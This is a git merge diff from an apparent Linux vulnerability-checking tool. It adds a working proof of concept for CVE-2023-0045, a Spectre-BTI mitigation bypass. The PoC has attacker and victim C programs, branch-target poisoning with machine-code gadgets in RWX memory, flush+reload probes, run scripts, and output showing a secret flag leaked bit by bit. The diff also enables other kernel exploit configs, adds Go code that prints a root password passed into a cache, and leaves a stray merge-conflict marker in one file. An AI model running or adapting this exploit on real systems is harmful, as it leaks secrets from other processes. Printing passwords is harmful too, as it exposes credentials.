Merge branch 'master' into alpha-dev

This commit is contained in:
chenxinquan 2023-04-06 15:37:13 +08:00
commit 282b566551
35 changed files with 1146 additions and 280 deletions

View File

@ -1,6 +1,5 @@
ConfigFilePrefix: ../data/BaseLine/
Type: baseline
RootPasswd: #部分检测需要用到高权限
ExplorerItems:
- ConfigFile: UserAnalysis/checkUser.yaml #检测root权限用户
- ConfigFile: UserAnalysis/checkGid.yaml #检测特权组用户

View File

@ -0,0 +1,51 @@
FormatVer: 20230203
Id: CVE-2023-0045
Belong: Kernel
PocHazardLevel: high
Source: https://github.com/es0j/CVE-2023-0045
SiteInfo:
Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
Severity: high
Description:
Linux kernel存在安全漏洞该漏洞源于绕过Spectre-BTI用户空间缓解措施。基于linux操作系统的Intel、AMD和 Arm 等现代处理器被发现存在一个漏洞攻击者可以绕过现有硬件防护缓解措施实施Spectre BTI推测执行攻击从而访问内存数据可能引起信息泄漏。用于推测控制的prctl系统调用的当前实现未能保护用户免受在缓解之前执行的攻击者的攻击。seccomp缓解在此场景中也失败了。
ScopeOfInfluence:
5.5~5.15
References:
- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2023-0179
- https://docs.kernel.org/userspace-api/spec_ctrl.html
- https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467
SiteClassification:
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CvssScore: None
CveId: CVE-2023-0045
CweId: None
CnvdId: None
KveId: None
Tags:
- 推测攻击
- 信息泄露
SiteRequests:
Implement:
ImArray:
- Inter : python3
InterArgs :
Exec : parseResult.py
Args :
ExpireTime: 30
# < input
# > output
# . wait
# ? condition
# : content
#
#组合起来
# >. 等待直到输出
# << 输入字符
# >?判断条件
Inter:
- ">.:result.txt"
- "<<:taskset -c 0 ./attacker"
- ">.:\n"
- ">?:root"
Condition: None

View File

@ -0,0 +1,8 @@
all:
gcc -o victim-PRCTL test.c -O0 -masm=intel -w -DPRCTL
gcc -o attacker test.c -O0 -masm=intel -w -DATTACKER
clean:
rm attacker
rm victim*

View File

@ -0,0 +1,8 @@
all:
gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
clean:
rm attacker
rm victim

View File

@ -0,0 +1,53 @@
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}

View File

@ -0,0 +1,82 @@
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre v2 attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as Readonly in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000);
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
//usleep(1); Coment out for test the mitigation
}
// Calls seccomp to protect the user against spectre-BTI attacks
void protect_me2()
{
usleep(1000);
syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0);
}
// utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}

View File

@ -0,0 +1,14 @@
#!/usr/bin/python3
secret=[]
with open("result.txt") as f:
for line in f:
if "+" in line:
secret.append("1")
else:
secret.append("0")
secret=secret[::-1]
print("Secret array: ", secret)
num = int("".join(str(x) for x in secret), 2)
print("The secret leaked is: ",num.to_bytes(18,'big')[::-1])

View File

@ -0,0 +1,25 @@
#!/bin/bash
make
rm result.txt
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i &> /dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

View File

@ -0,0 +1,145 @@
Leaking bit 0: +++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: +++++
Leaking bit 7:
Leaking bit 8: ++++++
Leaking bit 9: ++++++++
Leaking bit 10:
Leaking bit 11:
Leaking bit 12: ++++++++
Leaking bit 13: +++++++
Leaking bit 14: ++++++++
Leaking bit 15:
Leaking bit 16: ++++++
Leaking bit 17:
Leaking bit 18: ++++++++
Leaking bit 19:
Leaking bit 20: +++++++++
Leaking bit 21: ++++++
Leaking bit 22: ++++++++
Leaking bit 23:
Leaking bit 24:
Leaking bit 25:
Leaking bit 26:
Leaking bit 27:
Leaking bit 28: +++++
Leaking bit 29: +++++++++
Leaking bit 30: ++++++++
Leaking bit 31:
Leaking bit 32: +++++++
Leaking bit 33:
Leaking bit 34: ++++
Leaking bit 35:
Leaking bit 36:
Leaking bit 37: ++++++++++
Leaking bit 38: +++++++
Leaking bit 39:
Leaking bit 40:
Leaking bit 41: +++++++++
Leaking bit 42:
Leaking bit 43:
Leaking bit 44: ++++++++
Leaking bit 45: +++++++++
Leaking bit 46: ++++++++
Leaking bit 47:
Leaking bit 48: +++++++
Leaking bit 49: ++++++
Leaking bit 50: +++++++++
Leaking bit 51: +++++++
Leaking bit 52: +++++++++
Leaking bit 53:
Leaking bit 54: ++++++++++
Leaking bit 55:
Leaking bit 56: ++++++++++
Leaking bit 57: +++++++++
Leaking bit 58:
Leaking bit 59:
Leaking bit 60: +++++++
Leaking bit 61: +++++++
Leaking bit 62: ++++++++
Leaking bit 63:
Leaking bit 64: +++++
Leaking bit 65:
Leaking bit 66: +++++++
Leaking bit 67:
Leaking bit 68:
Leaking bit 69: +++++++++
Leaking bit 70: ++++++
Leaking bit 71:
Leaking bit 72: +++++++
Leaking bit 73: +++++++
Leaking bit 74:
Leaking bit 75:
Leaking bit 76:
Leaking bit 77: ++++++
Leaking bit 78: ++++++++
Leaking bit 79:
Leaking bit 80:
Leaking bit 81: +++++++++
Leaking bit 82:
Leaking bit 83:
Leaking bit 84: +++++++
Leaking bit 85: +++++++
Leaking bit 86: +++++++
Leaking bit 87:
Leaking bit 88: +++
Leaking bit 89:
Leaking bit 90: +++++++++
Leaking bit 91:
Leaking bit 92:
Leaking bit 93: +++++++++
Leaking bit 94: +++++++
Leaking bit 95:
Leaking bit 96:
Leaking bit 97:
Leaking bit 98: +++++++
Leaking bit 99:
Leaking bit 100: +++++++
Leaking bit 101: ++++++
Leaking bit 102: ++++++++
Leaking bit 103:
Leaking bit 104: +++++++
Leaking bit 105: +++++++++++
Leaking bit 106: +++++++++
Leaking bit 107: ++++++
Leaking bit 108: +++++
Leaking bit 109:
Leaking bit 110: +++++++
Leaking bit 111:
Leaking bit 112:
Leaking bit 113: +++++++++++
Leaking bit 114: +++++++++
Leaking bit 115:
Leaking bit 116:
Leaking bit 117: ++++++++
Leaking bit 118: ++++++++
Leaking bit 119:
Leaking bit 120:
Leaking bit 121:
Leaking bit 122: ++++++++
Leaking bit 123: ++++++
Leaking bit 124:
Leaking bit 125: +++++++
Leaking bit 126: ++++++++
Leaking bit 127:
Leaking bit 128: +++
Leaking bit 129:
Leaking bit 130:
Leaking bit 131:
Leaking bit 132:
Leaking bit 133: ++
Leaking bit 134: ++++++
Leaking bit 135:
Leaking bit 136: +++++++
Leaking bit 137: +++++++
Leaking bit 138: ++++++++++
Leaking bit 139:
Leaking bit 140:
Leaking bit 141: ++++++++
Leaking bit 142: ++++++++
Leaking bit 143:
Leaking bit 144:

View File

@ -0,0 +1 @@
Asuper_secret_flag

View File

@ -0,0 +1 @@
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

View File

@ -0,0 +1,31 @@
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
//mitigation with seccomp also fails
//protect_me2();
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}

View File

@ -0,0 +1,108 @@
#include "utils.h"
#include <stdio.h>
#include <string.h>
#include <sys/prctl.h>
#ifndef PRINT_AMMOUNT
#define PRINT_AMMOUNT 100000
#endif
#define IA32_SPEC_CTRL 72
uint8_t *rdiPtr;
uint8_t unused[0x500];
uint8_t probeArray[0x1000] = {2};
uint8_t unuse2[0x500];
uint32_t f1() {}
int poison(uint8_t *srcAddress, uint8_t *dstAddress, uint64_t cpu)
{
volatile uint8_t d;
unsigned tries = 0;
unsigned hits = 0;
unsigned totalHits = 0;
unsigned totalTries = 0;
jitForLoop(srcAddress);
while (1)
{
#ifdef ATTACKER
callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray);
continue;
#else
d = *dstAddress;
flush((uint8_t *)&rdiPtr);
callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray);
if (probe(&probeArray[0]) < THRESHOLD)
{
hits++;
totalHits++;
}
totalTries++;
if (++tries % PRINT_AMMOUNT == 0)
{
printf("Rate: %u/%u \n", hits, tries);
tries = 0;
hits = 0;
if (totalTries >= PRINT_AMMOUNT * 10)
{
break;
}
}
#endif
#ifdef SLEEP
usleep(1);
#endif
}
printf("Total misspredict rate: %d/%d (%.2f %)\n", totalHits, totalTries, (float)totalHits * 100 / (float)totalTries);
}
int main(int argc, char **argv)
{
uint64_t srcAddress;
uint64_t dstAddress;
uint64_t cpu;
if (argc < 4)
{
printf("Usage: %s <srcAddress> <dstAddress> <cpuCore> \n", argv[0]);
printf("Example: %s 0x55555554123 0x55555555345 1 \n", argv[0]);
return 0;
}
srcAddress = (uint64_t)strtoull(argv[1], NULL, 16);
dstAddress = (uint64_t)strtoull(argv[2], NULL, 16);
cpu = (uint64_t)strtoull(argv[3], NULL, 16);
SetCoreAffinity(cpu);
uint8_t *rwx1 = requestMem((uint8_t *)(srcAddress & (~0xfffULL)), 0x1000);
uint8_t *rwx2 = requestMem((uint8_t *)(dstAddress & (~0xfffULL)), 0x1000);
// set up leak gadget into position
#ifdef ATTACKER
rdiPtr = (uint8_t *)dstAddress;
copyRetGadget(dstAddress);
#else
rdiPtr = (uint8_t *)f1;
copyLeakGadget(dstAddress);
usleep(100000); //optional
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
#endif
poison(srcAddress, dstAddress, cpu);
}

View File

@ -0,0 +1,18 @@
#!/bin/bash
make
kill -9 $(pidof attacker)
echo -e "\nStarting attacker on core 0: "
./attacker 0x55555554123 0x55555555345 0 &
echo -e "\nTesting victim on core 0: "
sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
echo -e "\nkilling attacker"
kill -9 $(pidof attacker)
make clean

View File

@ -0,0 +1,112 @@
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <sched.h>
#include <sys/mman.h>
#include <linux/mman.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#define THRESHOLD 0x70
void SetCoreAffinity(int coreNumber){
int result;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(coreNumber, &mask);
result = sched_setaffinity(0, sizeof(mask), &mask);
if(result){
printf("failed to set affinity to core %i",coreNumber);
exit(2);
}
}
void flush(uint8_t *adrs)
{
asm volatile (
"clflush [%0] \n"
"mfence \n"
"lfence \n"
:
: "c" (adrs)
: "rax");
}
unsigned probe(uint8_t *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a" (time)
: "c" (adrs)
: "%esi", "%edx"
);
return time;
}
uint8_t * requestMem(uint8_t *requestedAddr, unsigned size){
uint8_t *result;
result = (uint8_t *)mmap(requestedAddr, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE| MAP_ANONYMOUS ,-1, 0);
if(result!=requestedAddr && requestedAddr!=NULL){
printf("mmap failed for %p : returned %p \n",requestedAddr,result);
exit(1);
}
return result;
}
#define RET_GADGET "\xc3"
//mov r13,[r13]
//ret
#define RD_GADGET "M\x8bm\x00\xc3"
void jitForLoop(uint8_t *rwx)
{
uint8_t g1[]="\x48\xc7\xc0\xc8\x00\x00\x00\x48\xff\xc8\x75\xfb\x0f\x31\x90\xff\x27";
memcpy(rwx, g1, sizeof(g1));
}
uint32_t callGadget(uint8_t *code,uint8_t *rdiPtr,uint8_t *probeArray){
asm __volatile__(
"mov r13, %2 \n"
"mov rdi, %1 \n"
"call %0 \n"
:
: "r"(code),"m"(rdiPtr),"m"(probeArray)
: "rdi"
);
}
void copyLeakGadget(uint8_t *dst){
memcpy(dst,RD_GADGET,sizeof(RD_GADGET));
}
void copyRetGadget(uint8_t *dst){
memcpy(dst,RET_GADGET,sizeof(RET_GADGET));
}

View File

@ -1,8 +1,8 @@
ConfigFilePrefix: ../data/KernelPocs/
Type: kernel
ExplorerItems:
# - ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
# - ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
- ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
- ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
# - ConfigFile: CVE-2022-2639/CVE-2022-2639.yaml
# - ConfigFile: CVE-2022-1015/CVE-2022-1015.yaml
- ConfigFile: CVE-2022-0847/CVE-2022-0847.yaml
@ -10,11 +10,16 @@ ExplorerItems:
# - ConfigFile: CVE-2022-25636/CVE-2022-25636.yaml
# - ConfigFile: CVE-2022-0995/CVE-2022-0995.yaml
# - ConfigFile: CVE-2023-0179/CVE-2023-0179.yaml
- ConfigFile: CVE-2022-24122/CVE-2022-24122.yaml
- ConfigFile: CVE-2022-0185/CVE-2022-0185.yaml
- ConfigFile: CVE-2022-1679/CVE-2022-1679.yaml
# - ConfigFile: CVE-2022-24122/CVE-2022-24122.yaml
# - ConfigFile: CVE-2022-0185/CVE-2022-0185.yaml
# - ConfigFile: CVE-2022-1679/CVE-2022-1679.yaml
- ConfigFile: CVE-2022-0185/CVE-2022-34918.yaml
- ConfigFile: CVE-2022-32250/CVE-2022-32250.yaml
- ConfigFile: CVE-2022-23222/CVE-2022-23222.yaml
- ConfigFile: CVE-2021-41073/CVE-2021-41073.yaml
- ConfigFile: CVE-2021-41073/CVE-2021-41073.yaml
- ConfigFile: CVE-2023-0045/CVE-2023-0045.yaml
# - ConfigFile: CVE-2022-0185/CVE-2022-34918.yaml
# - ConfigFile: CVE-2022-32250/CVE-2022-32250.yaml
# - ConfigFile: CVE-2022-23222/CVE-2022-23222.yaml
# - ConfigFile: CVE-2021-41073/CVE-2021-41073.yaml

View File

@ -0,0 +1,39 @@
{
"RCServerUUID": "aea559b6-f17c-439d-875d-e4ab32458381",
"RCServerName": "123",
"RCFamily": "RCFamily",
"RCRelease": "RCRelease",
"RCContainer": "RCContainer",
"RCExploredType": "BaseLine",
"RCExploredTimeAt": "2023-04-04T13:52:27.290528233+08:00",
"RCExploredMode": "RCExploredMode",
"RCExploredVersion": "RCExploredVersion",
"RCExploredRevision": "RCExploredRevision",
"RCExploredBy": "RCExploredBy",
"RCExploredVia": "RCExploredVia",
"RCExploredIPv4Addrs": [
"0.0.0.0"
],
"RCExploredIPv6Addrs": [
"0.0.0.0"
],
"RCReportedAt": "2023-04-04T13:52:27.292744018+08:00",
"RCReportedVersion": "RCReportedVersion",
"RCReportedBy": "RCReportedBy",
"RCElapsedTime": 2215958,
"RCErrors": "RCErrors",
"RCWarnings": "RCWarnings",
"RCExploredVulns": null,
"RCReunningKernelInfo": {
"RKRelease": "0.0",
"RKVersion": "0.0",
"RKRebootRequired": false
},
"RCPackages": "RCPackages",
"RCSrcPackages": "RCSrcPackages",
"RCOptional": "RCOptional",
"RCExecPocNums": 10,
"RCRepairedNums": 6,
"RCNotFixedNums": 0,
"RCNotExecPocNums": 4
}

View File

@ -30,4 +30,3 @@ ExplorerItems:
- ConfigFile: CVE-2019-7304/CVE-2019-7304.yaml
- ConfigFile: CVE-2019-18634/CVE-2019-18634.yaml
- ConfigFile: CVE-2022-3602/CVE-2022-3602.yaml
>>>>>>> master

View File

@ -3,6 +3,7 @@ package Cache
import (
"log"
"github.com/patrickmn/go-cache"
"fmt"
)
type MyStruct struct {
@ -16,7 +17,8 @@ type Cache struct{
SystemCache map[string]string
}
func SiteCache() *cache.Cache{
func SiteCache(passwd string) *cache.Cache{
// 创建一个不会过期的缓存
c := cache.New(0,0)
// 声明map
@ -25,9 +27,8 @@ func SiteCache() *cache.Cache{
cacheVul.BaseLineCache = make(map[string]string)
cacheVul.WebCache = make(map[string]string)
cacheVul.SystemCache = make(map[string]string)
cacheVul.KernelCache["1"] = "宋江"
cacheVul.KernelCache["2"] = "李逵"
cacheVul.WebCache["1"] = "李逵2"
cacheVul.KernelCache["testkernl"] = "testkernel"
//kernel 的poc存储到缓存
c.Set("kernel", &MyStruct{Msg: cacheVul.KernelCache}, cache.DefaultExpiration)
@ -38,6 +39,14 @@ func SiteCache() *cache.Cache{
//baseline 的poc存储到缓存
c.Set("baseline", &MyStruct{Msg: cacheVul.BaseLineCache}, cache.DefaultExpiration)
c.Set("foo", passwd, cache.DefaultExpiration)
value, found := c.Get("foo")
if !found {
fmt.Println("缓存中未找到键 'foo'")
}else{
fmt.Println(value)
}
log.Println("缓存中.......")
return c
}

View File

@ -56,7 +56,6 @@ func
defer configfile.Close()
decoder := yaml.NewDecoder(configfile)
for (nil == rc) { // decode yaml file if nil != rc
config := ConfigParserYAML{}
rc = decoder.Decode(config)

View File

@ -32,7 +32,9 @@ import (
"fmt"
"os"
"sync"
"os/exec"
"time"
"log"
"github.com/mitchellh/mapstructure"
"github.com/google/uuid"
sandbox "main/genmai/Sandbox"
@ -53,6 +55,8 @@ doctor struct {
ExplorersSystem map[string]ExplorerSystem
ExplorersWeb map[string]ExplorerWeb
ExplorersBaseLine map[string]ExplorerBaseLine
Passwd string
Remote string
}
@ -77,6 +81,18 @@ ExplorersListConfig struct {
var (
instance *doctor
once sync.Once
BaseLineExecPoc int = 0
BaseLineRepairedNums int = 0
BaseLineNotFixedNums int = 0
BaseLineNotExecPocNums int = 0
SystemExecPoc int = 0
SystemRepairedNums int = 0
SystemNotFixedNums int = 0
SystemNotExecPocNums int = 0
KernelExecPoc int = 0
KernelRepairedNums int = 0
KernelNotFixedNums int = 0
KernelNotExecPocNums int = 0
)
func
@ -145,6 +161,7 @@ func
// return rps
}
func
(dtr *doctor)GenmaiBaseline() (rp *ReportBaseLine) {
@ -194,33 +211,50 @@ func
var expvuls []VulnInfoCommon
/* */
for _, v := range dtr.ExplorersBaseLine {
BaseLineExecPoc =BaseLineExecPoc+1
go func(v_ ExplorerBaseLine) {
defer wg.Done()
rcvul:=dtr.BaseLineControl(v_)
if rcvul==true{
BaseLineNotExecPocNums=BaseLineNotExecPocNums+1
}
expvul, rc := v_.Explore()
// TODO: is append expvul to expvuls according to rc
if nil != rc {
}
// TODO: is append expvul to expvuls according to rc
lock_expvuls.Lock()
defer lock_expvuls.Unlock()
if len(expvul.VICId) !=0{
